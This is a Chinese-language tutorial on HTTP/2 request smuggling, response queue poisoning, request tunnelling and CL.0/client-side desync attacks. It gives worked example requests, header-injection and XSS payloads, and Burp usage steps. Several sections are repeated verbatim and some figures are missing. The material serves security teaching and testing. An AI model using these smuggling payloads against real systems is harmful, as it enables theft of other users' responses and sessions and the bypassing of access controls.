在本节中,我们将向您展示,与普遍看法相反,即使许多网站之前免受此类攻击,但实施 HTTP/2 实际上使它们更容易受到请求走私的攻击。
6.1.1 HTTP/2 消息长度
请求走私从根本上说是利用不同服务器解释请求长度的方式之间的差异。HTTP/2 引入了一种单一的、强大的机制来执行此操作,长期以来,人们一直认为该机制使其本身不受请求走私的影响。
虽然在 Burp 中看不到这一点,但 HTTP/2 消息在网络上以一系列单独的"帧"发送。每个帧前面都有一个明确的长度字段,它准确地告诉服务器要读取多少字节。因此,请求的长度是其帧长度的总和。
从理论上讲,只要网站端到端使用 HTTP/2,这种机制意味着攻击者没有机会引入请求走私所需的模糊性。然而,在实际环境中,由于广泛但危险的 HTTP/2 降级做法,情况往往并非如此。
6.1.2 HTTP/2 降级
HTTP/2 降级是使用 HTTP/1 语法重写 HTTP/2 请求以生成等效 HTTP/1 请求的过程。Web 服务器和反向代理通常这样做是为了在与仅使用 HTTP/1 的后端服务器通信时向客户端提供 HTTP/2 支持。这种做法是本节中介绍的许多攻击的先决条件。

有关 HTTP/2 消息表示的注意事项
由于 HTTP/2 是一种二进制协议,因此在这些材料中,使用了一些艺术手法以人类可读的格式表示 HTTP/2 消息:
-
我们将每条消息显示为单个实体,而不是单独的 "帧"。
-
我们使用纯文本 name 和 value 字段显示标头。
-
我们在伪 Headers 名称前加上冒号,以帮助将它们与普通 Headers 区分开来。
这与 Burp 在 Inspector 中表示 HTTP/2 消息的方式非常相似,但请注意,它们在网络上实际上看起来并非如此。
6.1.3 H2.CL 漏洞
HTTP/2 请求不必在标头中明确指定其长度。在降级期间,这意味着前端服务器通常会添加 HTTP/1 Content-Length
标头,并使用 HTTP/2 的内置长度机制获取其值。有趣的是,HTTP/2 请求也可以包含自己的 content-length
标头。在这种情况下,某些前端服务器将简单地在生成的 HTTP/1 请求中重用此值。
该规范规定 HTTP/2 请求中的任何 content-length
标头都必须与使用内置机制计算的长度匹配,但在降级之前并不总是正确验证这一点。因此,有可能通过注入误导性的 content-length 标头来走私请求。尽管前端将使用隐式 HTTP/2 长度来确定请求的结束位置,但 HTTP/1 后端必须引用从注入的 Content-Length
标头派生的标头,从而导致不同步。
前端 (HTTP/2)
后端 (HTTP/1)
bash
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
x=1GET / H
Tip
在执行某些请求走私攻击时,你会希望将受害者请求中的标头附加到你走私的前缀中。然而,在某些情况下,这些可能会干扰你的攻击,导致重复的标头错误等。在上面的示例中,我们通过在走私的前缀中包含一个尾随参数和一个Content-Length
标头来缓解此问题。通过使用比正文稍长的Content-Length
标头,受害者的请求仍将附加到你的走私前缀中,但在标头之前将被截断。
6.1.4 H2.TE 漏洞
分块传输编码与 HTTP/2 不兼容,规范建议应剥离您尝试注入的任何 transfer-encoding: chunked
标头或完全阻止请求。如果前端服务器未能做到这一点,并随后将支持分块编码的 HTTP/1 后端的请求降级,这也可能导致请求走私攻击。
前端 (HTTP/2)
后端 (HTTP/1)
bash
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
如果网站容易受到 H2.CL 或 H2.TE 请求走私的攻击,您可以利用此行为来执行我们在之前的请求走私中介绍的相同攻击。
隐藏的 HTTP/2 支持
浏览器和其他客户端(包括 Burp)通常仅使用 HTTP/2 与那些在 TLS 握手过程中通过 ALPN 明确宣传支持它的服务器进行通信。
一些服务器支持 HTTP/2,但由于配置错误而未能正确声明这一点。在这种情况下,服务器看起来似乎只支持 HTTP/1.1,因为客户端默认将其作为备用选项。因此,测试人员可能会忽略可行的 HTTP/2 攻击面,并错过协议级别的问题,例如我们上面介绍的基于 HTTP/2 降级的请求走私示例。
要强制 Burp Repeater 使用 HTTP/2,以便您手动测试此错误配置:
- 从"设置"对话框中,转到"工具"> Repeater。
- 在 Connections (连接) 下,启用 Allow HTTP/2 ALPN override (允许 HTTP/2 ALPN 覆盖) 选项。
- 在 Repeater 中,转到 Inspector 面板并展开 Request attributes 部分。
- 使用开关将 Protocol (协议) 设置为 HTTP/2。Burp 现在将使用 HTTP/2 发送此选项卡上的所有请求,无论服务器是否公布对此的支持。
注意
如果您使用的是 Burp Suite Professional,Burp Scanner 会自动检测隐藏的 HTTP/2 支持实例。
响应队列中毒
响应队列中毒是一种强大的请求走私攻击,使您能够窃取针对其他用户的任意响应,从而可能危及他们的帐户甚至整个站点。
通过 CRLF 注入请求走私
即使网站采取措施防止基本的 H2.CL 或 H2.TE 攻击,例如验证content-length 或剥离任何transfer-encoding标头,HTTP/2 的二进制格式也允许一些新颖的方法来绕过这些类型的前端措施。
在 HTTP/1 中,您有时可以利用服务器处理独立换行符 (\n
) 的方式之间的差异来走私禁止的标头。如果后端将此视为分隔符,但前端服务器不将其视为分隔符,则某些前端服务器将根本无法检测到第二个标头。
bash
Foo: bar\nTransfer-Encoding: chunked
这种差异在处理完整的 CRLF(\r\n
)序列时并不存在,因为所有的 HTTP/1 服务器都认为这会终止头部信息。另一方面,由于 HTTP/2 消息是二进制的而非基于文本的,每个头部的边界是基于明确的、预先确定的偏移量而非分隔符字符。这意味着\r\n
在头部值中不再具有任何特殊意义,因此可以包含在值本身内部而不会导致头部被分割:
foo | bar\r\nTransfer-Encoding: chunked |
这本身似乎相对无害,但是当它被重写为 HTTP/1 请求时,\r\n
将再次被解释为 Headers 分隔符。因此,HTTP/1 后端服务器将看到两个不同的标头:
bash
Foo: bar
Transfer-Encoding: chunked
HTTP/2 请求拆分
当我们查看响应队列中毒时,您学习了如何在后端将单个 HTTP 请求拆分为两个完整的请求。在我们查看的示例中,拆分发生在消息正文内部,但是当 HTTP/2 降级正在进行时,您也可以在标头中导致此拆分。
此方法更通用,因为您不依赖于使用允许包含 body 的请求方法。例如,您甚至可以使用 GET 请求:

这在验证 content-length
且后端不支持分块编码的情况下也很有用。
考虑前端重写
要在标头中拆分请求,您需要了解前端服务器如何重写请求,并在手动添加任何 HTTP/1 标头时考虑这一点。否则,其中一个请求可能缺少必需的标头。
例如,您需要确保后端收到的两个请求都包含 Host
标头。前端服务器通常会在降级期间去除 :authority
伪标头,并将其替换为新的 HTTP/1 Host
标头。有不同的方法可以执行此作,这可能会影响您需要放置要注入的 Host 标头的位置。
请考虑以下请求:

在重写过程中,一些前端服务器将新的Host标头附加到当前标头列表的末尾。就 HTTP/2 前端而言,这在foo标头之后。请注意,这也是在后端将请求拆分的点之后。这意味着第一个请求根本没有Host标头,而走私请求将有两个。在这种情况下,你需要放置你注入的Host标头,以便在拆分发生时它最终出现在第一个请求中:
您还需要以类似的方式调整要注入的任何内部标头的位置。
Tip
在上面的示例中,我们以触发响应队列中毒的方式拆分了请求,但你也可以通过这种方式为经典的请求走私攻击走私前缀。在这种情况下,你注入的标头可能会与在后端附加到你的前缀的请求中的标头冲突,导致重复的标头错误或导致请求在错误的位置终止。为了缓解这种情况,你可以在走私的前缀中包含一个尾随的主体参数以及一个比主体稍长的Content-Length标头。受害者的请求仍将附加到你的走私前缀中,但会在标头之前被截断。
请求隧道
到目前为止,我们所涵盖的许多请求走私攻击之所以成为可能,仅仅是因为前端和后端服务器之间的相同连接被用于处理多个请求。HTTP 请求隧道提供了一种即使在根本没有连接重用的情况下也能构建高严重性漏洞利用的方法。
6.1.5 HTTP/2 特有的攻击向量
由于 HTTP/2 是一种二进制协议而不是基于文本的协议,因此由于其语法的限制,在 HTTP/1 中无法构建许多潜在的向量。
我们已经了解了如何将 CRLF 序列注入 Headers 值。在本节中,我们将向您介绍一些可用于注入有效负载的其他 HTTP/2 独占向量。尽管 HTTP/2 规范正式禁止此类请求,但某些服务器无法有效地验证和阻止它们。
注意
只有使用 Burp 的 Inspector 面板中的专用 HTTP/2 功能才能执行这些攻击。
6.1.5.1 通过 CRLF 注入请求走私
即使网站采取措施防止基本的 H2.CL 或 H2.TE 攻击,例如验证content-length 或剥离任何transfer-encoding标头,HTTP/2 的二进制格式也允许一些新颖的方法来绕过这些类型的前端措施。
在 HTTP/1 中,您有时可以利用服务器处理独立换行符 (\n
) 的方式之间的差异来走私禁止的标头。如果后端将此视为分隔符,但前端服务器不将其视为分隔符,则某些前端服务器将根本无法检测到第二个标头。
bash
Foo: bar\nTransfer-Encoding: chunked
这种差异在处理完整的 CRLF(\r\n
)序列时并不存在,因为所有的 HTTP/1 服务器都认为这会终止头部信息。另一方面,由于 HTTP/2 消息是二进制的而非基于文本的,每个头部的边界是基于明确的、预先确定的偏移量而非分隔符字符。这意味着\r\n
在头部值中不再具有任何特殊意义,因此可以包含在值本身内部而不会导致头部被分割:
foo | bar\r\nTransfer-Encoding: chunked |
这本身似乎相对无害,但是当它被重写为 HTTP/1 请求时,\r\n
将再次被解释为 Headers 分隔符。因此,HTTP/1 后端服务器将看到两个不同的标头:
bash
Foo: bar
Transfer-Encoding: chunked
6.1.5.2 通过 Header 名称注入
在 HTTP/1 中,标头名称不能包含冒号,因为此字符用于向解析器指示名称的结尾。在 HTTP/2 中,情况并非如此。
通过将冒号与 \r\n 字符组合在一起,您可以使用 HTTP/2 标头的 name 字段来偷偷通过前端过滤器。一旦使用 HTTP/1 语法重写请求,这些将在后端被解释为单独的标头:
前端 (HTTP/2)
foo: bar\r\nTransfer-Encoding: chunked\r\nX: | ignore |
后端 (HTTP/1)
bash
Foo: bar\r\n
Transfer-Encoding: chunked\r\n
X: ignore\r\n
6.1.5.3 通过伪 header 注入
HTTP/2 不使用请求行或状态行。相反,此数据通过请求前面的一系列 "伪标头" 传递。在 HTTP/2 消息的基于文本的表示形式中,这些消息通常以冒号为前缀,以帮助将它们与普通标头区分开来。总共有五个伪标头:
-
:method - 请求方法。
-
:path - 请求路径。请注意,这包括 query 字符串。
-
:authority - 大致相当于 HTTP/1 Host 标头。
-
:scheme - 请求方案,通常为 http 或 https。
-
:status - 响应状态代码(未在请求中使用)。
当网站将请求降级为 HTTP/1 时,它们会使用其中一些伪标头的值来动态构建请求行。这为构建攻击提供了一些有趣的新方法。
提供不明确的主机
尽管 HTTP/1 Host 标头实际上已被 HTTP/2 中的 :authority 伪标头替换,但您仍然可以在请求中发送 host 标头。
在某些情况下,这可能会导致重写的 HTTP/1 请求中出现两个 Host 标头,例如,这为绕过前端"重复Host 标头"过滤器提供了另一种可能性。这可能会使站点容易受到一系列 Host 标头攻击,否则它本来可以免受这些攻击。
提供不明确的路径
由于 request 行的解析方式,在 HTTP/1 中无法尝试发送路径不明确的请求。但是,由于 HTTP/2 中的路径是使用伪标头指定的,因此现在可以发送具有两个不同路径的请求,如下所示:
:method | POST |
:path | /anything |
:path | /admin |
:authority | vulnerable-website.com |
如果网站的访问控制验证的路径与用于路由请求的路径之间存在差异,则这可能使您能够访问本来会被禁止访问的终端节点。
注入完整的请求行
在降级期间,:method 伪标头的值将被写入生成的 HTTP/1 请求的开头。如果服务器允许您在 :method 值中包含空格,则可以注入完全不同的请求行,如下所示:
前端 (HTTP/2)
:method | GET /admin HTTP/1.1 |
:path | /anything |
:authority | vulnerable-website.com |
后端 (HTTP/1)
bash
GET /admin HTTP/1.1 /anything HTTP/1.1
Host: vulnerable-website.com
只要服务器还容忍请求行中的任意尾随字符,这就提供了另一种创建路径不明确的请求的方法。
注入 URL 前缀
HTTP/2 的另一个有趣功能是能够使用 :scheme 伪标头在请求本身中显式指定方案。虽然这通常只包含 http 或 https,但您可以包含任意值。
例如,当服务器使用 :scheme 标头动态生成 URL 时,这可能很有用。在这种情况下,您可以向 URL 添加前缀,甚至可以通过将真实 URL 推送到查询字符串中来完全覆盖它:
请求
:method | GET |
:path | /anything |
:authority | vulnerable-website.com |
:scheme | https://evil-user.net/poison? |
响应
:status | 301 |
location | https://evil-user.net/poison?://vulnerable-website.com/anything/ |
将换行符注入伪标头
注入 :path 或 :method 伪标头时,您需要确保生成的 HTTP/1 请求仍然具有有效的请求行。
由于 \r\n 终止了 HTTP/1 中的请求行,因此只需在中途添加 \r\n 就会中断请求。降级后,重写的请求必须在您注入的第一个 \r\n 之前包含以下序列:
bash
<method> + space + <path> + space + HTTP/1.1
只需可视化您的注射在此序列中的位置,并相应地包括所有剩余部分。例如,注入到 :path 时,需要在 \r\n 前添加一个空格和 HTTP/1.1,如下所示:
前端 (HTTP/2)

后端 (HTTP/1)
bash
GET /example HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
X: x HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
请注意,在这种情况下,我们还添加了一个任意的尾随标头,以捕获在重写过程中自动添加的空格和协议。
6.1.5.4 隐藏的 HTTP/2 支持
浏览器和其他客户端(包括 Burp)通常仅使用 HTTP/2 与那些在 TLS 握手过程中通过 ALPN 明确宣传支持它的服务器进行通信。
一些服务器支持 HTTP/2,但由于配置错误而未能正确声明这一点。在这种情况下,服务器看起来似乎只支持 HTTP/1.1,因为客户端默认将其作为备用选项。因此,测试人员可能会忽略可行的 HTTP/2 攻击面,并错过协议级别的问题,例如我们上面介绍的基于 HTTP/2 降级的请求走私示例。
要强制 Burp Repeater 使用 HTTP/2,以便您手动测试此错误配置:
- 从"设置"对话框中,转到"工具"> Repeater。
- 在 Connections (连接) 下,启用 Allow HTTP/2 ALPN override (允许 HTTP/2 ALPN 覆盖) 选项。
- 在 Repeater 中,转到 Inspector 面板并展开 Request attributes 部分。
- 使用开关将 Protocol (协议) 设置为 HTTP/2。Burp 现在将使用 HTTP/2 发送此选项卡上的所有请求,无论服务器是否公布对此的支持。
注意
如果您使用的是 Burp Suite Professional,Burp Scanner 会自动检测隐藏的 HTTP/2 支持实例。
6.2 响应队列中毒
响应队列中毒是一种强大的请求走私攻击形式,它会导致前端服务器开始将响应从后端映射到错误的请求。在实践中,这意味着同一前端/后端连接的所有用户都会持久地为其他人提供响应。
这是通过走私一个完整的请求来实现的,从而在前端服务器只期望一个响应时从后端引出两个响应。
6.2.1 响应队列中毒有什么影响?
响应队列中毒的影响通常是灾难性的。一旦队列中毒,攻击者只需发出任意后续请求即可捕获其他用户的响应。这些响应可能包含敏感的个人或业务数据,以及会话令牌等,它们有效地授予攻击者对受害者帐户的完全访问权限。
响应队列中毒还会导致重大附带损害,从而有效地破坏其流量通过同一 TCP 连接发送到后端的任何其他用户的站点。在尝试正常浏览网站时,用户将收到来自服务器的看似随机的响应,这将阻止大多数功能正常工作。
6.2.2 如何构建响应队列中毒攻击
要成功进行响应队列中毒攻击,必须满足以下条件:
-
前端服务器和后端服务器之间的 TCP 连接将在多个请求/响应周期中重复使用。
-
攻击者能够成功地走私一个完整的独立请求,该请求从后端服务器接收其自己的独特响应。
-
该攻击不会导致任何一台服务器关闭 TCP 连接。服务器通常会在收到无效请求时关闭传入连接,因为它们无法确定请求应该在哪里结束。
6.2.2.1 了解请求走私的后果
请求走私攻击通常涉及走私部分请求,服务器将其作为前缀添加到连接上下一个请求的开头。请务必注意,走私请求的内容会影响初始攻击后连接发生的情况。
如果你只是走私一个带有一些 Headers 的请求行,假设不久之后在连接上发送了另一个请求,后端最终仍然会看到两个完整的请求。
如果您改为走私一个也包含正文的请求,则连接上的下一个请求将附加到走私请求的正文中。这通常具有根据明显的 Content-Length 截断最终请求的副作用。因此,后端实际上会看到三个请求,其中第三个 "request" 只是一系列剩余的字节:
前端 (CL)
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
后端 (TE)
bash
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked
0
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25
x=GET / HTTP/1.1
Host: vulnerable-website.com
由于这些剩余字节不会形成有效的请求,这通常会导致错误,从而导致服务器关闭连接。
6.2.2.2 走私完整请求
只要稍加小心,您就可以走私一个完整的请求,而不仅仅是一个前缀。只要您正好将两个请求放在一个中,连接上的任何后续请求都将保持不变:
前端 (CL)
bash
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
后端 (TE)
bash
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
请注意,没有无效请求正在攻击后端,因此在攻击后连接应保持打开状态。
6.2.2.3 取消同步响应队列
当您走私一个完整的请求时,前端服务器仍然认为它只转发了一个请求。另一方面,后端会看到两个不同的请求,并相应地发送两个响应:
前端正确地将第一个响应映射到初始 "wrapper" 请求,并将其转发给客户端。由于没有其他请求等待响应,因此意外的第二个响应将保留在前端和后端之间连接的队列中。
当前端收到另一个请求时,它会照常将其转发到后端。但是,在下发响应时,它会发送队列中的第一个响应,即对走私请求的剩余响应。
然后,来自后端的正确响应将没有匹配的请求。每次将新请求从同一连接转发到后端时,都会重复此循环。
6.2.2.4 窃取其他用户的回复
一旦响应队列中毒,攻击者就可以发送任意请求来捕获其他用户的响应。
他们无法控制自己收到的响应,因为他们将始终被发送到队列中的下一个响应,即对前一个用户请求的响应。在某些情况下,这将是有限的。但是,使用 Burp Intruder 等工具,攻击者可以轻松地自动执行重新发出请求的过程。通过这样做,他们可以快速获取针对不同用户的各种响应,其中至少其中一些可能包含有用的数据。
只要前端/后端连接保持打开状态,攻击者就可以继续窃取此类响应。连接关闭的确切时间因服务器而异,但常见的默认设置是在连接处理了 100 个请求后终止连接。一旦当前连接关闭,重新毒害新连接也很容易。
Tip
为了更容易区分窃取的响应和对你自己请求的响应,可以尝试在你发送的两个请求中都使用一个不存在的路径。例如,这样你的请求应该始终收到 404 响应。
注意
这种攻击既可以通过经典的 HTTP/1 请求走私,也可以通过利用 HTTP/2 降级来实现。
6.3 HTTP/2 请求拆分
当我们查看响应队列中毒时,您学习了如何在后端将单个 HTTP 请求拆分为两个完整的请求。在我们查看的示例中,拆分发生在消息正文内部,但是当 HTTP/2 降级正在进行时,您也可以在标头中导致此拆分。
此方法更通用,因为您不依赖于使用允许包含 body 的请求方法。例如,您甚至可以使用 GET 请求:

这在验证 content-length 且后端不支持分块编码的情况下也很有用。
6.3.1 考虑前端重写
要在标头中拆分请求,您需要了解前端服务器如何重写请求,并在手动添加任何 HTTP/1 标头时考虑这一点。否则,其中一个请求可能缺少必需的标头。
例如,您需要确保后端收到的两个请求都包含 Host 标头。前端服务器通常会在降级期间去除 :authority 伪标头,并将其替换为新的 HTTP/1 Host 标头。有不同的方法可以执行此作,这可能会影响您需要放置要注入的 Host 标头的位置。
请考虑以下请求:

在重写过程中,一些前端服务器将新的Host标头附加到当前标头列表的末尾。就 HTTP/2 前端而言,这在foo标头之后。请注意,这也是在后端将请求拆分的点之后。这意味着第一个请求根本没有Host标头,而走私请求将有两个。在这种情况下,你需要放置你注入的Host标头,以便在拆分发生时它最终出现在第一个请求中:
您还需要以类似的方式调整要注入的任何内部标头的位置。
Tip
在上面的示例中,我们以触发响应队列中毒的方式拆分了请求,但你也可以通过这种方式为经典的请求走私攻击走私前缀。在这种情况下,你注入的标头可能会与在后端附加到你的前缀的请求中的标头冲突,导致重复的标头错误或导致请求在错误的位置终止。为了缓解这种情况,你可以在走私的前缀中包含一个尾随的主体参数以及一个比主体稍长的Content-Length标头。受害者的请求仍将附加到你的走私前缀中,但会在标头之前被截断。
6.4 HTTP 请求隧道技术
我们介绍的许多请求走私攻击之所以成为可能,是因为前端和后端之间的相同连接处理多个请求。尽管某些服务器将对任何请求重复使用该连接,但其他服务器具有更严格的策略。
例如,某些服务器只允许来自同一 IP 地址或同一客户端的请求重用该连接。其他人根本不会重复使用该连接,这限制了您通过经典请求走私所能实现的目标,因为您没有明显的方法来影响其他用户的流量。

尽管你不能让套接字中毒来干扰其他用户的请求,但你仍然可以发送一个请求,该请求将从后端引出两个响应。这可能使您能够从前端完全隐藏请求及其匹配的响应。

您可以使用此技术绕过前端安全措施,否则这些措施可能会阻止您发送某些请求。事实上,即使是一些专门为防止请求走私攻击而设计的机制也无法阻止请求隧道。
以这种方式通过隧道将请求传输到后端提供了一种更有限的请求走私形式,但它仍然可能导致高严重性的漏洞被正确的人利用。
6.4.1 使用 HTTP/2 请求隧道
HTTP/1 和 HTTP/2 都可以使用请求隧道,但在仅 HTTP/1 环境中更难检测到。由于 HTTP/1 中持久(keep-alive)连接的工作方式,即使您确实收到了两个响应,也不一定确认请求已成功走私。
另一方面,在 HTTP/2 中,每个 "流" 应该只包含一个请求和响应。如果您收到一个 HTTP/2 响应,并且正文中似乎是 HTTP/1 响应,则可以确信您已成功通过隧道传输第二个请求。
6.4.2 通过 HTTP/2 请求隧道泄露内部标头
当请求隧道是您唯一的选择时,您将无法使用我们在早期实验中介绍的技术来泄露内部标头,但 HTTP/2 降级支持另一种解决方案。
你可能会欺骗前端将内部标头附加到后端将成为 body 参数的内容中。假设我们发送一个如下所示的请求:

在这种情况下,前端和后端都同意只有一个请求。有趣的是,他们可以在标头的结束位置上产生分歧。
前端将我们注入的所有内容视为 header 的一部分,因此在尾随的 comment=
字符串之后添加任何新 headers。另一方面,后端看到 \r\n\r\n
序列并认为这是 Headers 的结尾。comment=
字符串以及内部标头被视为正文的一部分。结果是一个 comment
参数,其中内部 headers 作为其值。
bash
POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
comment=X-Internal-Header: secretContent-Length: 3
x=1
6.4.3 盲请求隧道
一些前端服务器读入它们从后端接收的所有数据。这意味着,如果您成功通过隧道传输请求,它们可能会将两个响应转发给客户端,而对隧道请求的响应嵌套在主响应的主体中。
其他前端服务器仅读取响应的 Content-Length 标头中指定的字节数,因此仅将第一个响应转发到客户端。这会导致盲请求隧道漏洞,因为您将无法看到对隧道请求的响应。
6.4.4 使用 HEAD 的非盲请求隧道
盲请求隧道可能很难利用,但您偶尔可以使用 HEAD 请求使这些漏洞非盲化。
对 HEAD 请求的响应通常包含 content-length 标头,即使它们没有自己的正文。这通常是指 GET 请求返回给同一终端节点的资源长度。某些前端服务器无法考虑这一点,并尝试读取标头中指定的字节数。如果您成功地通过隧道传输请求通过执行此作的前端服务器,则此行为可能会导致它过度读取来自后端的响应。因此,您收到的响应可能包含从响应隧道请求的开头开始的字节。
请求

响应

由于您有效地将一个响应的 content-length 标头与另一个响应的正文混合在一起,因此成功使用这种技术是一种平衡行为。
如果您向其发送 HEAD 请求的终端节点返回的资源短于您尝试读取的隧道响应,则它可能在您看到任何有趣的内容之前被截断,如上例所示。另一方面,如果返回的 content-length 长于对隧道请求的响应,则可能会遇到超时,因为前端服务器正在等待额外的字节从后端到达。
幸运的是,通过一些试验和错误,您通常可以使用以下解决方案之一来克服这些问题:
-
将您的 HEAD 请求指向其他终端节点,该终端节点根据需要返回更长或更短的资源。
-
如果资源太短,请在主 HEAD 请求中使用反射输入来注入任意填充字符。即使你实际上不会看到你的输入被反映出来,返回的 content-length 仍然会相应地增加。
-
如果资源太长,请在隧道请求中使用反射输入来注入任意字符,以便隧道响应的长度与预期内容的长度匹配或超过预期内容的长度。
6.4.5 通过 HTTP/2 请求隧道进行 Web 缓存中毒
尽管请求隧道通常比传统请求走私更受限制,但有时您仍可以构建高严重性的攻击。例如,您也许能够将我们迄今为止研究的请求隧道技术结合起来,以应对一种非常强大的 Web 缓存中毒形式。
使用非盲请求隧道,您可以有效地将一个响应的标头与另一个响应的正文混合和匹配。如果正文中的响应反映了未编码的用户输入,则可以在浏览器通常不会执行代码的上下文中将此行为用于反射的 XSS。
例如,以下响应包含未编码的攻击者可控制的输入:
bash
HTTP/1.1 200 OK
Content-Type: application/json
{ "name" : "test<script>alert(1)</script>" }
[etc.]
就其本身而言,这是相对无害的。Content-Type 意味着浏览器将简单地将此有效负载解释为 JSON。但是请考虑一下,如果您通过隧道将请求传输到后端会发生什么。此响应将出现在不同响应的正文中,有效地继承其标头,包括 content-type。

由于缓存发生在前端,缓存也可能被欺骗,向其他用户提供这些混合响应。
7. 浏览器驱动的请求走私
到目前为止,你所学的请求走私技术依赖于使用像 Burp Repeater 这样的专用黑客工具发送故意畸形的请求。实际上,使用完全与浏览器兼容的请求也可以执行相同的攻击,这些请求使用完全正常的Content-Length标头使两台服务器不同步。
这甚至使你能够发起这些攻击的客户端变体,诱导受害者的浏览器破坏其与易受攻击网站的自身连接。这不仅使单服务器站点暴露于请求走私式攻击,甚至使你能够攻击你无法直接访问的站点。
在本节中,您将了解如何在不依赖浏览器永远不会发送的格式错误的请求的情况下构建高严重性的漏洞利用。这不仅使一系列全新的网站暴露于服务器端请求走私中,还使您能够通过诱使受害者的浏览器毒害其自身与易受攻击的 Web 服务器的连接来执行这些攻击的客户端变体。
CL.0 请求走私
后端服务器有时可以被说服忽略Content-Length标头,这实际上意味着它们会忽略传入请求的主体。这为不依赖分块传输编码或HTTP/2 降级的请求走私攻击铺平了道路。
客户端异步攻击
请求走私传统上被认为是服务器端问题,因为它只能使用像 Burp Repeater 这样的专业工具进行利用------标准浏览器根本不会发送触发不同步所需的那种请求。然而,基于从CL.0 攻击中吸取的教训,有时可以使用完全与浏览器兼容的 HTTP/1 请求来引起不同步。
您可以使用这些与浏览器兼容的请求在浏览器和易受攻击的 Web 服务器之间触发客户端不同步(CSD),从而能够对单服务器站点(否则对请求走私免疫)以及您无法直接访问的内部网站点进行攻击。
基于暂停的异步攻击
看似安全的网站可能包含隐藏的请求走私漏洞,只有在请求中途暂停时才会显现出来。通过发送请求头、承诺有请求体,然后只是等待,有时你可以发现额外的请求走私漏洞,这些漏洞可用于服务器端和客户端的漏洞利用。
7.1 CL.0 请求走私
请求走私漏洞是由于链式系统确定每个请求的开始和结束位置的方式存在差异造成的。这通常是由于标头解析不一致,导致一个服务器使用请求的 Content-Length,而另一个服务器将消息视为分块。但是,可以在不依赖这些问题的情况下执行许多相同的攻击。
在某些情况下,可以说服服务器忽略 Content-Length 标头,这意味着它们假定每个请求都在标头的末尾结束。这实际上与将 Content-Length 视为 0 相同。
如果后端服务器表现出此行为,但前端仍使用 Content-Length 标头来确定请求的结束位置,则可能会利用此差异进行 HTTP 请求走私。我们决定将此漏洞称为 "CL.0" 漏洞。
测试 CL.0 漏洞
要探测 CL.0 漏洞,请首先发送一个请求,该请求在其正文中包含另一个部分请求,然后发送正常的后续请求。然后,您可以检查对后续请求的响应是否受走私前缀的影响。
在以下示例中,主页的后续请求已收到 404 响应。这强烈表明后端服务器将 POST 请求的正文 (GET /hopefully404...) 解释为另一个请求的开头。
bash
POST /vulnerable-endpoint HTTP/1.1 Host: vulnerable-website.com Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 34 GET /hopefully404 HTTP/1.1 Foo: xGET / HTTP/1.1 Host: vulnerable-website.com
bash
HTTP/1.1 200 OK HTTP/1.1 404 Not Found
至关重要的是,请注意我们没有以任何方式篡改标头 - 请求的长度由完全正常、准确的 Content-Length 标头指定。
要使用 Burp Repeater 自己尝试:
-
创建一个包含设置请求的选项卡和另一个包含任意后续请求的选项卡。
-
按正确的顺序将这两个选项卡添加到组中。
-
使用 Send 按钮旁边的下拉菜单,将发送模式更改为 Send group in sequence (single connection)。
-
将 Connection 标头更改为 keep-alive。
-
发送序列并检查响应。
在实际应用中,我们主要在根本不需要 POST 请求的终端节点上观察到这种行为,因此它们隐式地假设没有请求具有正文。触发服务器级重定向和静态文件请求的终端节点是主要候选项。
引发 CL.0 行为
如果您找不到任何看起来易受攻击的终端节点,则可以尝试引发此行为。
当请求的标头触发服务器错误时,某些服务器会发出错误响应,而不会使用套接字中的请求正文。如果他们之后没有关闭连接,这可以提供替代的 CL.0 desync 向量。
您还可以尝试使用带有混淆 Content-Length 标头的 GET 请求。如果您能够对后端服务器隐藏此内容,但不能对前端隐藏此内容,则这也可能导致不同步。在介绍 TE.TE 请求走私时,我们研究了一些标头混淆技术。
利用 CL.0 漏洞
您可以利用 CL.0 漏洞进行服务器端请求走私攻击,我们在之前的请求走私材料中介绍过。
H2.0 漏洞
如果后端服务器忽略降级请求的 Content-Length 标头,则将 HTTP/2 请求降级为 HTTP/1 的网站可能容易受到等效的"H2.0"问题的影响。
如何防止 CL.0 漏洞
有关您可以采取的一些高级措施来防止 CL.0 漏洞和其他形式的不同步攻击,请参阅如何防止 HTTP 请求走私漏洞。
7.2 客户端异步攻击
经典的 desync 或请求走私攻击依赖于普通浏览器根本不会发送的故意格式错误的请求。这将这些攻击限制在使用前端/后端架构的网站。但是,正如我们从查看 CL.0 攻击中学到的那样,使用完全兼容浏览器的 HTTP/1.1 请求可能会导致不同步。这不仅为服务器端请求走私开辟了新的可能性,还启用了一类全新的威胁 - 客户端异步攻击。
7.2.1 什么是客户端异步攻击?
客户端不同步 (CSD) 是一种攻击,它使受害者的 Web 浏览器不同步其自身与易受攻击网站的连接。这与常规的请求走私攻击形成对比,后者使前端和后端服务器之间的连接不同步。

